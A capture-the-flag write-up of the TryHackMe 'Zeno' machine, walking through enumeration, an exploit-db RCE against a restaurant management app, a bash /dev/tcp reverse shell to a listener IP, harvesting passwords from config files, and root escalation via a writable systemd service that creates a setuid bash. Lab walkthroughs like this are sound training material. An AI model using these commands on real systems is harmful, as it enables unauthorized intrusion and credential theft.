Zeno – Medium In this writeup we’ll cover a great machine, Zeno, by biniru on TryHackMe.Room Url: https://tryhackme.com/room/zeno Summary Nmap and rustscan found the following ports to be open:22/ssh12340/httpGoBuster with dirb’s big.txt list found a directory rms on port 12340Pathfinder Hotel Restaurant Management System running on port 12340RMS allows RCE (unauthenticated) : searchsploit restaurant management systemExploited using https://www.exploit-db.com/exploits/47520Found multiple passwords throught the file system (config.php and /etc/fstab)We were able to ssh as the user edward by using the passwords found in /etc/fstab.Following was observed for privilege escalation from edward/etc/systemd/system/zeno-monitoring.service is writeable by edwardedward can run sudo /usr/sbin/reboot without passwordEscalation of privileges to root by editing the zeno-monitoring service file and rebooting the systemAll Done! 😀 Enumeration Nmap and rustscan found that the following ports are open:22/ssh12340/httpBrowsing to port 12340, we came across a ‘404 Not found’ Running GoBuster with dirb’s big.txt list, we found that there is a directory ‘rms’Browsing to the ‘rms’ directory, we found an application for ‘Pathfinder Hotel Restaurant Management System’Tried common credentials, no luckSearched for ‘restaurant management system’ on searchsploit:searchsploit restaurant management systemWe found that the application is vulnerable to RCE Exploitation We looked inside the exploit, to ensure that the exploit was for the application runningsearchsploit -x 47520The exploit had minor formatting issues.Leveraged the exploit to gain RCE on the server.Commands:searchsploit -m 47520Fixed exploit formatting, specifically lines 40, 45 and 70python3 47520.py http://10.10.228.195:12340/rms/The shell could be accessed using the URL specified in the exploit results.http://{ip}:12340/rms/images/reverse-shell.php We got a reverse shell using the following:nc -nvlp 1234Browsed to http://{ip}:12340/rms/images/reverse-shell.php?cmd=bash+-i+>%26+/dev/tcp/{listnerip}/1234+0>%261 Privilege Escalation - 1 We got a shell as the apache userLooking for ways to escalate our privileges, we ran linpeas and observed the following:root DB creds inside /var/www/html/rms/connection/config.php apache user has write privileges over /etc/systemd/system/zeno-monitoring.serviceThere are credentials for user zeno inside /etc/fstabThere is a user called edward in the systemWe attempted to use the passwords obtained against the user edwardBy using the one found in /etc/fstab we were able to SSH as edward Once logged in as edward, we were able to read the user.txt file.Looking for further escalation in privileges, we found that edward can run sudo /usr/sbin/reboot without password. Privilege Escalation - 2 Combining the write privileges over zeno-monitoring service and reboot privileges, we were able to spawn a root shell.Procedure:Edited the /etc/systemd/system/zeno-monitoring.service file to have the following contents: [Unit] Description=Zeno monitoring [Service] Type=simple User=root ExecStart=/bin/bash -c 'cp /bin/bash /home/edward/root_shell; chmod +xs /home/edward/root_shell' [Install] WantedBy=multi-user.target Once edited, we rebooted the system using sudo /usr/sbin/reboot , hoping that our modification worked.Once the system was rebooted, we were able to spawn a root shell using: /home/edward/root_shell -pAll Done! 😀 Hope you enjoyed reading this writeup.Happy Hunting!Posted by: infinity